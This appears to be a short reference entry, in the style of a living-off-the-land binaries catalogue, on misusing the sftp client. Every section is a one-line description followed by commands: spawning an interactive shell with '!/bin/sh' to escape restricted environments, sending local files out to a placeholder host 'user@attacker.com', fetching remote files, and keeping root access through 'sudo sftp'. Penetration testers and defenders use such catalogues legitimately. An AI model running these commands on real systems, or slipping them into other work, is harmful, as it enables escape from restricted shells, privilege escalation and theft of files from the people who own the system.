Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

HOST=user@attacker.com
sftp $HOST
!/bin/sh

File upload

It can exfiltrate files on the network.

Send local file to a SSH server.

RHOST=user@attacker.com
sftp $RHOST
put file_to_send file_to_save

File download

It can download remote files.

Fetch a remote file from a SSH server.

RHOST=user@attacker.com
sftp $RHOST
get file_to_get file_to_save

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

HOST=user@attacker.com
sudo sftp $HOST
!/bin/sh